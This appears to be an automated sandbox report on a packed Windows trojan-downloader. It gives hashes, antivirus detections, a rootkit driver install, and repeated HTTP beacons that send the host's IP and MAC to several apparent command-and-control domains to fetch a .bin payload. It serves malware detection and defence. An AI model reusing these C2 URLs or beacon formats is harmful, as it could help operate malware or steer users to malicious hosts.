Analysis Date2015-12-04 11:59:58
MD51cf87250278a6b7f11afea69518e97d2
SHA152ee769f72d1d637bd155ab4477a445580a9dc9c

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
SectionUPX0 md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
SectionUPX1 md5: 2d77f770f3195ae48328210719e852ba sha1: 70c489271ce4bc87185dbe95526b97ac2681a30c size: 70656
Section.rsrc md5: 1d150585778c9cb179a6bd868a2fdbc9 sha1: b926d9a0fbbf506fa951c1dfd957619ee040f24b size: 1536
Timestamp2013-09-16 06:19:09
VersionLegalCopyright:
InternalName:
FileVersion: 1, 0, 3, 916
CompanyName:
PrivateBuild:
LegalTrademarks:
Comments:
ProductName:
SpecialBuild:
ProductVersion: 0, 0, 0, 0
FileDescription:
OriginalFilename:
PackerUPX -> www.upx.sourceforge.net
PEhashebe10d86d7142df0dd8520fc2762dc0b2bfc5c78
IMPhashaf95e8dbe1501e4d5ab6b4f281ac8261
AVMcafeeno_virus
AVMcafeeno_virus
AVCA (E-Trust Ino)no_virus
AVMicrosoft Security EssentialsTrojan:Win32/Rofin.A
AVMicrosoft Security EssentialsTrojan:Win32/Rofin.A
AVCA (E-Trust Ino)no_virus
AVMicroWorld (escan)Gen:Trojan.Heur.RP.emKfa80ZQ7eb
AVMicroWorld (escan)Gen:Trojan.Heur.RP.emKfa80ZQ7eb
AVArcabit (arcavir)Gen:Trojan.Heur.RP.emKfa80ZQ7eb
AVPadvishno_virus
AVPadvishno_virus
AVCAT (quickheal)Trojan.Rofin.A.mue
AVRisingno_virus
AVRisingno_virus
AVCAT (quickheal)Trojan.Rofin.A.mue
AVSophosMal/RootKit-A:Mal/Behav-016
AVAd-AwareGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVSymantecDownloader
AVSymantecDownloader
AVClamAVWin.Trojan.Agent-723397
AVTrend MicroTROJ_ROFIN.SM
AVTrend MicroTROJ_ROFIN.SM
AVClamAVWin.Trojan.Agent-723397
AVTwisterTrojan.306B59FC6949C2A0
AVTwisterTrojan.306B59FC6949C2A0
AVAuthentiumW32/Injector.A.gen!Eldorado
AVVirusBlokAda (vba32)TrojanDropper.Injector
AVVirusBlokAda (vba32)TrojanDropper.Injector
AVDr. WebTrojan.Carberp.1285
AVZillya!Downloader.Agent.Win32.180746
AVZillya!Downloader.Agent.Win32.180746
AVDr. WebTrojan.Carberp.1285
AVAuthentiumW32/Injector.A.gen!Eldorado
AVEmsisoftGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVEmsisoftGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVAvira (antivir)TR/Proxy.Gen
AVFortinetW32/Injector.JQR!tr
AVFortinetW32/Injector.JQR!tr
AVAvira (antivir)TR/Proxy.Gen
AVFrisk (f-prot)W32/Injector.A.gen!Eldorado
AVFrisk (f-prot)W32/Injector.A.gen!Eldorado
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVF-SecureGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVF-SecureGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVBitDefenderGen:Trojan.Heur.RP.emKfa80ZQ7eb
AVGrisoft (avg)Generic36.ICZ

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileSSDTProcess
Creates FileC:\WINDOWS\system32\drivers\HideSys.sys
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates ServiceEProcess - C:\WINDOWS\system32\drivers\HideSys.sys
Starts ServiceEProcess

Process
↳ Pid 808

Process
↳ Pid 856

Process
↳ C:\WINDOWS\System32\svchost.exe

Creates Filepipe\PCHFaultRepExecPipe

Process
↳ Pid 1120

Process
↳ Pid 1212

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00

Process
↳ Pid 1872

Process
↳ Pid 1160

Process
↳ C:\WINDOWS\Explorer.EXE

RegistryHKEY_CURRENT_USER\SessionInformation\ProgramCount ➝
NULL

Network Details:

DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNSdownini.com
Type: A
116.255.243.151
DNSinixz.com
Type: A
116.255.243.151
DNSinibin.com
Type: A
116.255.243.151
DNSbindown.com
Type: A
116.255.243.151
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNS1st.ecoma.ourwebpic.com
Type: A
220.243.230.10
DNSplus.zzinfor.cn
Type: A
DNSplus.soomeng.com
Type: A
DNSplus.icafeads.com
Type: A
DNSbindowns.com
Type: A
DNSinidowns.com
Type: A
DNSxzpzwj.com
Type: A
DNSxiazaiini.com
Type: A
DNSxiazaibin.com
Type: A
DNSinidown.com
Type: A
HTTP GEThttp://plus.zzinfor.cn/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pubwinep.0.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
Flows TCP192.168.1.1:1031 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1032 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1033 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1034 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1035 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1036 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1037 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1038 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1039 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1040 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1041 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1042 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1043 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1044 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1045 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1046 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1047 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1048 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1049 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1050 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1051 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1052 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1053 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1054 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1055 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1056 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1057 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1058 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1059 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1060 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1061 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1062 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1063 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1064 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1065 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1066 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1067 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1068 ➝ 220.243.230.10:80
Flows TCP192.168.1.1:1069 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1070 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1071 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1072 ➝ 116.255.243.151:80

Raw Pcap

Strings